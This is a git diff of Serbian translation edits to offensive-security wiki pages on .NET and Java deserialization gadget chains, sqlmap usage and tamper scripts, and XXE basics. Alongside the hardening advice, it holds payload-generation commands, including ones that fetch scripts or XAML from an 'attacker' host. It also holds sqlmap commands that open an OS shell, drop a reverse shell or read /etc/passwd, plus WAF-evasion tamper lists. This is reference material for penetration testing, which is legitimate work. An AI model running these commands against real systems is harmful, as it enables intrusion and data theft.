Dec 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-bazirani XSS putem kreirane URL adrese. 【】
|
||||
Dec 2022 | CVE-2022-30683 | ≤ 6.5.13 | Greška u dizajnu kriptografije → dekripcija tajne (zahteva niske privilegije). 【】
|
||||
|
||||
|
@ -56,10 +56,10 @@ Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** _**ObjectDataProvider**_ instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **nikakvo znanje o tipu objekta koji je obavijen** u _ObjectDataProvider_ instanci (`Process` na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vulnerabilnosti, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **nikakvo znanje o tipu objekta koji je obavijen** u instanci _ObjectDataProvider_ (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vulnerabilnosti ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Ova klasa omogućava **da se odrede tipovi objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar **_**ExpandedWrapper** \_ instance i **kada se deserijalizuje** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
|
||||
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar instancu **_**ExpandedWrapper** \_ i **kada se deserijalizuje** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
|
||||
|
||||
Možete proveriti ovaj wrapper sa sledećim kodom:
|
||||
```java
|
||||
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
```
|
||||
## Napredni .NET Gadget Lanci (YSoNet & ysoserial.net)
|
||||
|
||||
Tehnika ObjectDataProvider + ExpandedWrapper koja je predstavljena iznad je samo jedan od MNOŠTVO gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvršava **nesigurnu .NET deserializaciju**. Moderni alati za crvene timove kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spreman za upotrebu malicioznih objekata** za desetine gadgeta i formata serijalizacije.
|
||||
Tehnika ObjectDataProvider + ExpandedWrapper uvedena iznad je samo jedan od MNOŠTVO gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvršava **nesigurnu .NET deserializaciju**. Moderni alati za crvene timove kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu malicioznih objekata** za desetine gadgeta i formata serijalizacije.
|
||||
|
||||
Ispod je sažeta referenca najkorisnijih lanaca koji dolaze sa *YSoNet* zajedno sa brzim objašnjenjem kako funkcionišu i primerima komandi za generisanje payload-a.
|
||||
Ispod je sažeta referenca najkorisnijih lanaca isporučenih sa *YSoNet* zajedno sa brzim objašnjenjem kako funkcionišu i primerima komandi za generisanje payload-a.
|
||||
|
||||
| Gadget Lanac | Ključna Ideja / Primitiv | Uobičajeni Serijalizatori | YSoNet jednosmerna komanda |
|
||||
|--------------|--------------------------|--------------------------|----------------------------|
|
||||
| **TypeConfuseDelegate** | Kvari `DelegateSerializationHolder` zapis tako da, kada se materijalizuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| Gadget Lanac | Ključna Ideja / Primitiv | Uobičajeni Serijalizatori | YSoNet jednorazna komanda |
|
||||
|--------------|---------------------------|--------------------------|---------------------------|
|
||||
| **TypeConfuseDelegate** | Kvari `DelegateSerializationHolder` zapis tako da, kada se materializuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *obiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** obezbeđene klase ili **kompajlira** C# datoteku u hodu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Iskorišćava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem `<ColumnMapping>` / `<DataType>` polja (opciono lažirajući skup sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Na WPF omogućenom runtime-u (> .NET 5) povezuje property gettere dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL obezbeđen sa `-c` | `Json.NET` bez tipa, `MessagePack` bez tipa | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **GetterCompilerResults** | Na WPF omogućenom runtime-u (> .NET 5) povezuje gettere svojstava dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL obezbeđen sa `-c` | `Json.NET` bez tipa, `MessagePack` bez tipa | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (pregled) | Koristi WPF `System.Windows.Data.ObjectDataProvider` da pozove proizvoljnu statičku metodu sa kontrolisanim argumentima. YSoNet dodaje zgodnu varijantu `--xamlurl` za hostovanje malicioznog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Ugrađuje `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserializuje objekat | PowerShell daljinsko upravljanje, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Svi payload-i su **podrazumevano napisani u *stdout***, što olakšava preusmeravanje u druge alate (npr. ViewState generatori, base64 enkoderi, HTTP klijenti).
|
||||
> Svi payload-i su **podrazumevano napisani u *stdout***, što olakšava preusmeravanje u druge alate (npr. generatore ViewState-a, base64 enkodere, HTTP klijente).
|
||||
|
||||
### Izgradnja / Instalacija YSoNet
|
||||
|
||||
Ako nema dostupnih prethodno kompajliranih binarnih datoteka pod *Actions ➜ Artifacts* / *Releases*, sledeća **PowerShell** jednosmerna komanda će postaviti okruženje za izgradnju, klonirati repozitorijum i kompajlirati sve u *Release* modu:
|
||||
Ako nema prekompajliranih binarnih datoteka dostupnih pod *Actions ➜ Artifacts* / *Releases*, sledeća **PowerShell** jednorazna komanda će postaviti okruženje za izgradnju, klonirati repozitorijum i kompajlirati sve u *Release* modu:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,12 +216,12 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Kompilirani `ysonet.exe` se može naći pod `ysonet/bin/Release/`.
|
||||
Kompilirani `ysonet.exe` se može pronaći u `ysonet/bin/Release/`.
|
||||
|
||||
### Detekcija i Ojačavanje
|
||||
* **Detektujte** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo koji proces koji deserializuje podatke koje je korisnik dostavio (npr. `MessagePack`, `Json.NET`).
|
||||
* **Detektujte** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo koji proces koji deserializuje podatke koje je dostavio korisnik (npr. `MessagePack`, `Json.NET`).
|
||||
* Omogućite i **sprovodite filtriranje tipova** (`TypeFilterLevel` = *Full*, prilagođeni `SurrogateSelector`, `SerializationBinder`, *itd.*) kada god se legendarni `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti.
|
||||
* Gde je moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konvertorima zasnovanim na belim listama.
|
||||
* Gde god je to moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konvertorima zasnovanim na beloj listi.
|
||||
* Blokirajte opasne WPF biblioteke (`PresentationFramework`, `System.Workflow.*`) da se učitavaju u web procesima koji ih nikada ne bi trebali koristiti.
|
||||
|
||||
## Reference
|
||||
|
@ -11,7 +11,7 @@ Java `Serializable` interfejs (`java.io.Serializable`) je marker interfejs koji
|
||||
### Podsetnik: Koje metode se implicitno pozivaju tokom deserializacije?
|
||||
|
||||
1. `readObject()` – logika čitanja specifična za klasu (ako je implementirana i *privatna*).
|
||||
2. `readResolve()` – može zameniti deserijalizovani objekat drugim.
|
||||
2. `readResolve()` – može zameniti deserializovani objekat drugim.
|
||||
3. `validateObject()` – putem `ObjectInputValidation` povratnih poziva.
|
||||
4. `readExternal()` – za klase koje implementiraju `Externalizable`.
|
||||
5. Konstruktori se **ne** izvršavaju – stoga lanci gadgeta oslanjaju se isključivo na prethodne povratne pozive.
|
||||
@ -101,9 +101,9 @@ Kao što možete videti u ovom vrlo osnovnom primeru, "ranjivost" ovde se pojavl
|
||||
## 2023-2025: Šta je novo u Java deserialization napadima?
|
||||
|
||||
* 2023 – CVE-2023-34040: Spring-Kafka deserialization zaglavlja grešaka kada su `checkDeserExWhen*` zastavice omogućene omogućilo je proizvoljnu konstrukciju gadgeta iz tema koje je objavio napadač. Ispravljeno u 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java klijent poverovao u pretpostavku o serveru – zlonamerne odgovore servera sadržale su serijalizovane payload-e koje je klijent deserializovao → RCE. ²
|
||||
* 2023 – CVE-2023-36480: Aerospike Java klijent poverenje u server prekinuto – zlonamerne odgovore servera sadržale su serijalizovane payload-e koje je klijent deserializovao → RCE. ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` atribut profila korisnika prihvatio je `{#sb64}`-prefiksirane Base64 blobove i deserializovao ih uprkos `RestrictedObjectInputStream`. Ažurirajte ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (port 10880) prihvatio je XML-enkodirane Java objekte što je dovelo do RCE kao root/SYSTEM.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (port 10880) prihvatio je XML-encoded Java objekte što je dovelo do RCE kao root/SYSTEM.
|
||||
* 2024 – Više novih gadget lanaca je dodato u ysoserial-plus(mod) uključujući Hibernate5, TomcatEmbed i SnakeYAML 2.x klase koje zaobilaze neke stare filtere.
|
||||
|
||||
## Moderne mitigacije koje treba primeniti
|
||||
@ -125,7 +125,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
```
|
||||
5. **Kontinuirano skeniranje gadgeta** – pokrenite alate kao što su `gadget-inspector` ili `serialpwn-cli` u vašem CI da biste prekinuli gradnju ako postane dostupan opasan gadget.
|
||||
5. **Kontinuirano skeniranje gadgeta** – pokrenite alate kao što su `gadget-inspector` ili `serialpwn-cli` u vašem CI da bi se izgradnja obustavila ako postane dostupna opasna gadgeta.
|
||||
|
||||
## Ažurirani alatni cheat-sheet (2024)
|
||||
|
||||
@ -143,7 +143,7 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
1. Napravite metodu `private` i dodajte `@Serial` anotaciju (pomaže statičkoj analizi).
|
||||
2. Nikada ne pozivajte metode koje je obezbedio korisnik ili ne vršite I/O u metodi – samo čitajte polja.
|
||||
3. Ako je potrebna validacija, izvršite je **nakon** deserializacije, van `readObject()`.
|
||||
4. Preferirajte implementaciju `Externalizable` i radite eksplicitna čitanja polja umesto podrazumevane serijalizacije.
|
||||
4. Preferirajte implementaciju `Externalizable` i izvršite eksplicitna čitanja polja umesto podrazumevane serijalizacije.
|
||||
5. Registrujte ojačani `ObjectInputFilter` čak i za interne usluge (dizajn otporan na kompromitaciju).
|
||||
|
||||
## Reference
|
||||
|
@ -29,9 +29,9 @@ Argument `--technique` definiše koje SQL injection metode će sqlmap pokušati.
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Koristi true/false uslove za inferenciju podataka |
|
||||
| E | Error-based | Iskorišćava detaljne DBMS poruke greške za exfiltraciju rezultata |
|
||||
| U | UNION query | Injektuje `UNION SELECT` izjave da bi dobio podatke putem istog kanala |
|
||||
| U | UNION query | Umeće `UNION SELECT` izjave da bi dobio podatke putem istog kanala |
|
||||
| S | Stacked queries | Dodaje dodatne izjave odvojene sa `;` |
|
||||
| T | Time-based blind | Oslanja se na kašnjenja (`SLEEP`, `WAITFOR`) za detekciju injekcije |
|
||||
| T | Time-based blind | Oslanja se na kašnjenja (`SLEEP`, `WAITFOR`) da bi detektovao injekciju |
|
||||
| Q | Inline / out-of-band | Koristi funkcije kao što su `LOAD_FILE()` ili OOB kanale poput DNS |
|
||||
|
||||
Podrazumevani redosled je `BEUSTQ`. Možete ih preurediti ili ograničiti, npr. samo Boolean i Time-based u tom redosledu:
|
||||
@ -59,9 +59,9 @@ sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
## Mesto injekcije
|
||||
|
||||
### Iz Burp/ZAP snimka
|
||||
### Iz Burp/ZAP hvatanja
|
||||
|
||||
Snimite zahtev i kreirajte req.txt datoteku
|
||||
Uhvatite zahtev i kreirajte req.txt datoteku
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -142,28 +142,28 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
|
||||
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zamenjuje instance poput 'MID\(A, B, C\)' sa 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Zamenjuje instance poput 'CONCAT\(A, B\)' sa 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| commalessmid.py | Zamenjuje instance poput 'MID\(A, B, C\)' sa 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Zamenjuje instance poput 'CONCAT\(A, B\)' sa 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "\u0022" |
|
||||
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti \('='\) sa operatorom 'LIKE' |
|
||||
| escapequotes.py | Slash escape za navodnike \(' i "\) |
|
||||
| greatest.py | Zamenjuje operator veći od \('>'\) sa 'GREATEST' ekvivalentom |
|
||||
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
|
||||
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
|
||||
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL\(A, B\)' sa 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
|
||||
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom bez verzije |
|
||||
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
|
||||
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu \(npr. .replace\("SELECT", ""\)\) filteri |
|
||||
| percentage.py | Dodaje znak procenta \('%'\) ispred svakog karaktera |
|
||||
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću velikih i malih slova |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću slučajnosti |
|
||||
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
|
||||
| securesphere.py | Dodaje posebno oblikovan string |
|
||||
| securesphere.py | Dodaje posebno oblikovanu string |
|
||||
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
|
||||
| space2comment.py | Zamenjuje karakter razmaka \(' '\) sa komentarima |
|
||||
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2hash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2morehash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
|
@ -30,11 +30,11 @@ Opcija `--technique` vam omogućava da ograničite ili promenite redosled SQL in
|
||||
| Letter | Technique | Description |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Koristi true/false uslove u odgovoru stranice da bi inferirao rezultate |
|
||||
| E | Error-based | Iskorišćava opširne DBMS poruke greške za ekstrakciju podataka |
|
||||
| U | UNION query | Injektuje `UNION SELECT` izjave da bi dobio podatke putem istog kanala |
|
||||
| E | Error-based | Iskorišćava opširne DBMS poruke o greškama da bi izvukao podatke |
|
||||
| U | UNION query | Umeće `UNION SELECT` izjave da bi dobio podatke putem istog kanala |
|
||||
| S | Stacked queries | Dodaje dodatne izjave odvojene SQL delimiter-om (`;`) |
|
||||
| T | Time-based blind | Oslanja se na `SLEEP/WAITFOR` kašnjenja da bi otkrio uslove koji se mogu injektovati |
|
||||
| Q | Inline / out-of-band | Koristi funkcije kao što su `LOAD_FILE()` ili DNS exfiltration za ekstrakciju podataka |
|
||||
| Q | Inline / out-of-band | Koristi funkcije kao što su `LOAD_FILE()` ili DNS exfiltration da bi izvukao podatke |
|
||||
|
||||
Podrazumevani redosled koji će sqlmap pratiti je `BEUSTQ` (sve tehnike). Možete promeniti i redosled i podskup. Na primer, sledeća komanda će **samo** pokušati UNION query i Time-based blind tehnike, pokušavajući prvo UNION:
|
||||
```bash
|
||||
@ -103,7 +103,7 @@ Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo čini veoma lakim i brzim da se payload obradi na prilagođene načine pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
|
||||
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -118,11 +118,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
### Čitaj Fajl
|
||||
### Čitaj fajl
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Crawling a website with SQLmap and auto-exploit
|
||||
### Proučavanje veb sajta sa SQLmap i automatska eksploatacija
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -161,21 +161,21 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u pythonu** i to je veoma j
|
||||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom |
|
||||
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
|
||||
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom |
|
||||
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
|
||||
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
|
||||
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
|
||||
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
|
||||
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Zamenjuje karakter razmaka posle SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
|
||||
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
|
||||
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
|
||||
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
|
||||
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
|
||||
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
|
||||
| escapequotes.py | Slash escape za navodnike (' i ") |
|
||||
| escapequotes.py | Beži od navodnika (' i ") |
|
||||
| greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom |
|
||||
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
|
||||
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)' |
|
||||
@ -187,24 +187,24 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u pythonu** i to je veoma j
|
||||
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
|
||||
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
|
||||
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
|
||||
| securesphere.py | Dodaje posebno oblikovanu string |
|
||||
| securesphere.py | Dodaje posebno oblikovan string |
|
||||
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
|
||||
| space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima |
|
||||
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
|
||||
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') |
|
||||
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') |
|
||||
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
|
||||
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim novim redom ('\n') |
|
||||
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
|
||||
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
|
||||
| unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) |
|
||||
| unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) |
|
||||
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
|
||||
| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' |
|
||||
| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom |
|
||||
| xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' |
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
XML je jezik za označavanje dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
|
||||
|
||||
- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere kao što su `<` i `>`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
|
||||
